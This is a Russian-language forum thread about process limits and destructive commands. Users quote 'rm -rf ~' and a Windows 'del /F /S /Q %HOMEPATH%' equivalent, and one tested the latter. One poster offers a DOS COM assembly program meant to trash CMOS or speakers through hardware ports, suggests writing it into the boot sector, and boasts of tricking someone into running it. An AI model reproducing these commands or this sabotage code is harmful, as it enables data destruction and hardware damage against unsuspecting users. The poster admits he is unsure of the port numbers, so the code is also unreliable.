Linups_Troolvalds,
<логика>
Это потому что прога не оконная и форкается сразу в фон.
</логика>
Добавлено спустя 02 мин 34 с:
Конечно, ведь в отличие от тебя мне есть чем заняться в свободное время
Зато срать в теме, ради попускания Майора, это есть чем заняться? Завязывай провоцирование не здоровой дискуссии, а то плюс схлопочешь
Добавлено спустя 03 мин 17 с:
нет, марсолёт, я ничего не перепутал
Паша не "марсолет", Паша - Мистер Многосрёт.
Интеллигент боится лишь одного — касаться темы зла и его корней, потому что справедливо полагает, что здесь его могут сразу выeбaть телеграфным столбом.©
Неактивен
Эт и коню ясно. Прост, я думаю, что вынь-топор не даст одному простому процессу приоритет для загруза проца на 70%. Отсюда сделал вывод, что у него может быть "другая беда")
Интеллигент боится лишь одного — касаться темы зла и его корней, потому что справедливо полагает, что здесь его могут сразу выeбaть телеграфным столбом.©
Неактивен
вот цуко :-D У тя самая говноупорная тачка.
Лунупс, просвяти ламера, т.е. меня, как и какие защиты настраивать на луноходе. Я до пос времени тоже "верил што вирусов нема", авотхyй.
Добавлено спустя 03 мин 15 с:
На каждого хитрожопого юзера есть свой троян. Мой был в исходниках Наверное Сварту нужно на павершеле
Интеллигент боится лишь одного — касаться темы зла и его корней, потому что справедливо полагает, что здесь его могут сразу выeбaть телеграфным столбом.©
Неактивен
А шо с лимитами на
/bin/sh -c "rm -rf ~"
это чем закрыть?
Интеллигент боится лишь одного — касаться темы зла и его корней, потому что справедливо полагает, что здесь его могут сразу выeбaть телеграфным столбом.©
Неактивен
А шо с лимитами на
/bin/sh -c "rm -rf ~"
это чем закрыть?
Подозреваю что ничем, помогут своевременные бэкапы и запуск недоверенных программ в песочницах, chroot, виртуалках.
Подозреваю что на CMD, аналогичная хрень выглядит так:
del /F /S /Q %HOMEPATH%
Но не уверен в работоспособности. Винды нет чтоб проверить.
Неактивен
я как камикадзе - проверил))
Вот это доверие к МС Я бы посоветовал завести отдельного юзера для таких экспериментов.
Требует уака. Дальше пароль вводить не стал))
Есть предположение, что винда требует ввести пароль уак при любом запуске del из диалога Run. Или Вы запускали из cmd?
Неактивен
помогут своевременные бэкапы
Порно бэкапить еще я не пробовал :-D Над второй частью задумаюсь.
Tiphon, проб
del /F /S /Q %HOMEPATH%\*
Интеллигент боится лишь одного — касаться темы зла и его корней, потому что справедливо полагает, что здесь его могут сразу выeбaть телеграфным столбом.©
Неактивен
Вообще, есть идея пропорционального квотирования. И понижения приоритета задач пользователя при исчерпании квоты на количество процессов.
То есть если стартуют несколько тысяч процессов от одного пользователя то у них падает приоритет и появляется возможность убийства этих процессов.
Не ламерствуй лукаво.
"А петь мне нельзя - постановление суда" (с) Бендер
Неактивен
Да-да, читал я про алиас и рысайкл бин для rm В чистом виде не выполняют, а ламеров, типа меня, на шелкод, на который между строк делается пойнтер, как на функцию, а потом запускается, вполне можно подловить.
Интеллигент боится лишь одного — касаться темы зла и его корней, потому что справедливо полагает, что здесь его могут сразу выeбaть телеграфным столбом.©
Неактивен
Вы, ребята, уверены, что развели толковый спор, или это еще один нубский холивар???
С форком под окошки вообще смешно. Его просто видно, что ламер писал. Я вроде до сих пор в постах не увидел исправления. Но нормальные программисты используют то, что дала им матушка система. А именно, имя процесса(точнее указатель на него) передается в программу первым аргументом(это если кто не знает). А то тут пишут недееспособный код, который еще и к месту и имени привязан.
А по поводу format C:, который рассматривался в начале темы вообще скажу, что под х32 можно писать еще старые ДОС приложения. И вот там format C:(с помощью прерываний) работает вообще наотлично. А как накрывается CMOS, когда ты в него через порты начинаешь совать кучу раз значения, так это вообще сказка(кому не лень могут проверить, кому жалко CMOS могут испытать на внутреннем динамике. Его просто разрывает. Суть в том чтобы бесконечное число раз писать обратные значения(00/ff) в каждую ячейку CMOS через порты. У меня это COM-файл получался разных размеров вплоть до 19 байт под fasm.)
org 100h
mov ax,00ffh
mov dx,0060h
main_loop:
mov cx,00ffh
min_loop:
out dx,cl
inc dx
out dx,al
dec dx
loopnz min_loop
not al
jmp main_loop
Результат неестественный микромонстр(если я нигде не ошибся. Чего не помню, какая пара портов отвечает за БИОС а какая за динамик, но то, что это 60-61 и 70-71 помню точно. кому надо, погуглите. по-моему таки 70-71). А кому не повезло, и система не пропустила, можно дописать маленькую програмку, которая эту штуку в бут сует, только там по-моему org другой(то-ли 200, то-ли что-то в этом роде). и там ему просто никто не запретит ничего сделать.
Неактивен
Майор Очевидность,
о каком родном out вы говорите?? Вы сначала почитайте доку по FASM. org 100h создаст старый добрый COM-файл. Там можно все.(От моего чуда у меня рвало динамики, а у человек на месяц из сети выпал, т.к. обиделась на него его машина. Достал просто меня однажды человек. Вот я и подкинул ему такую штуку. А он ее, наивный, запустил. Так я потом его специальным функционалом каждый день на присутствие в сети проверял)
а какой это еще системный вызов нужно было пихать?? Или push/pop у нас уже системный вызов???
Неактивен
Майор Очевидность,
NTVDM делал то, что ему было сказано. Было это правда давненько и под хрюшей или 2000, если я не ошибаюсь.
Зато есть инфа, правда непроверенная, что ДОС приложения под вистой/семеркой получают те же права, что и система.
Неактивен
Майор Очевидность,
вы слова различаете?? Я ж написал, что инфа непроверенная. И толком недочитанная, т.к. нету в ней надобности уже года 3-4 как. Ибо не пользуюсь(Вы на значок системы мой посмотрите. Не знаю только, почему у меня не отображает, что Arch). А для того, чтобы аккуратно за определенную плату поставить, настроить или полечить эта инфа не очень актуальна.
Неактивен